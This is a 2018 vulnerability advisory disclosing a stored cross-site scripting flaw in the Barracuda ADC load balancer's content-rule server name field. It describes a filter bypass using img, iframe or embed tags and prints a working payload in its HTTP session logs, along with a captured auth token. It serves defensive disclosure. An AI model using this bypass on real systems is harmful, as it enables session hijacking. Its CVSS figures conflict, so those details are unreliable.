Document Title: =============== Barracuda ADC 5.x - Filter Bypass & Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1423 Release Date: ============= 2018-07-08 Vulnerability Laboratory ID (VL-ID): ==================================== 1423 Common Vulnerability Scoring System: ==================================== 4.4 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Ensure Application Scalability,Performance, and Security. The Barracuda Load Balancer ADC is ideal for organizations looking for a high-performance, yet cost-effective application delivery and security solution. With the broadest range of hardware and virtual models, the Barracuda Load Balancer ADC provides maximum flexibility for organizations looking to build highly secure and scalable application infrastructure, whether it’s deployed on-premises or in the cloud. (Copy of the Vendor Homepage: https://www.barracuda.com/products/loadbalancer ) Abstract Advisory Information: ============================== The vulnerability laboratory research team discovered a persistent input validation web vulnerability in the Barracuda Networks ADC v5.2.0.004 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2018-07-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Barracuda Networks Product: ADC Load Balancer - Appliance Web Application 5.2.0.004 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Open Authentication (Anonymous Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Barracuda networks ADC appliance web-application. The application-side vulnerability allows remote attackers and privileged user accounts to inject malicious script codes to compromise the online service web-application. The application-side input validation web vulnerability is located in the servername value of the Services - Konfigurierte Server [Content Rules Add] module. Local low privileged application user account can inject malicious script code with persistent attack vector to the vulnerable to module. The injection point of the issue is the vulnerable add module and the execution of the malicious code occurs by the restapi (api) in the Konfigurierte Server (Item Listing) module. The input form of the appliance web-application are filtered. If an attacker injects for example script tags with an alert message to see the cookie the execution is prevented. If the attacker uses an iframes, embed scripts and img-src tags he will be able to bypass the filter to execute own codes. The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent vulnerability in the `Services - Konfigurierte Server [Content Rules Add]` module requires a low privileged heroku account with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external source and persistent manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Services - Konfigurierte Server [Content Rules Add] Vulnerable Parameter(s): [+] Servername Affected Module(s): [+] Konfigurierte Server (Item Listing) - [API] (restapi) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the barracuda adc web-application 2. Open the content rules add modules in the left sidebar 3. Inject own script code payload to the server name value and save the input (content rules) Note: A refresh returns back to the listing module 4. The persistent script code execution occurs in listed confirgured server information next to the edit button (onlclick) 5. Successful reproduce of the stored cross site scripting security vulnerability! Vulnerable Module(s): Services > Konfigurierte Server > [Servername] Request Method(s): POST PoC: Link http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest PoC: Source ﷐&rule_name=Corp_Web&server_index=0&traffic=0" data-modal-title="Edit Server" data-modal-submit-type="PUT" data-modal-submit-uri="rule_group_servers" data-modal-submit-ids="Content_Routing,undefined,Corp_Web,Server_192.168.1.4_80 ">" data-m﷯odal-save-label="Änderungen speichern" data-modal-cancel-label="Abbrechen" data-modal-onclick="return false;">Bearbeiten --- PoC Session Logs [POST] --- Status: 201[Created] POST http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules Mime Type[application/json] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[application/json, text/plain, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Authorization[Basic ZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6] Content-Type[application/json;charset=utf-8] Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest] Content-Length[1182] Cookie[_ga=GA1.2.608616028.1422207688; _gat=1; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: {"modalAction":"create_rule","group":"Content_Routing","service_name":"Corp_Web","cache": {"max_objsize":"256","req_cachehdrs_ignore":"0","negative_responses":"0","expiry_age":"60","file_extensions":"gif,tif,jpg,jpeg,png,bmp,ico,js,jsp,css,jar,swf,pdf" ,"resp_cachehdrs_ignore":"0","enabled":"0","min_objsize":"256"},"extended_match_sequence":"1000","persistence_cookie_domain":"","status":"1","header_name":"","sou rce_ip_netmask":"","comments":"">","host_match":"">","extended_match":"*"> undefined (HTTP-Version eq ">)","compress":{"min_obj_size":"8192","enabled":"0","content_types":"text/html,text/plain"},"url_match":"">","persistence_time":"600","failover_method":"LB","persistence_method":"NONE","lb_algorithm":"weighted_round_robin", "persistence_cookie_name":"persistence","parameter_name":"","persistence_cookie_security":"0","name":"">", "persistence_cookie_path":"","persistence_cookie_httponly":"1","cookie_age":""}] Response Header: Server[BarracudaHTTP 4.0] Content-Type[application/json; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] - Status: 200[OK] GET http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/%22%3E%3Cimg%20src=http://www.evil.source.com%20onerror=alert(/PTEST/)%3C/script%3E Mime Type[application/json] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[application/json, text/plain, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Authorization[BasicZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6] If-Modified-Since[0] Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest] Cookie[_ga=GA1.2.608616028.1422207688; _gat=1; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[application/json; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] Reference(s): http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a parse and encode of the vulnerable content rules input field values. Restrict the input and disallow special chars. Filter and parse the item listing in the configured server module to prevent an execution. Implement a own exception-handling to prevent application-side script code executions. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium (CVSS 3.8). Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4. The disclosure process took about 1 year to complete by recognizing the patch cycle. Credits & Authors: ================== Benjamin K.M. - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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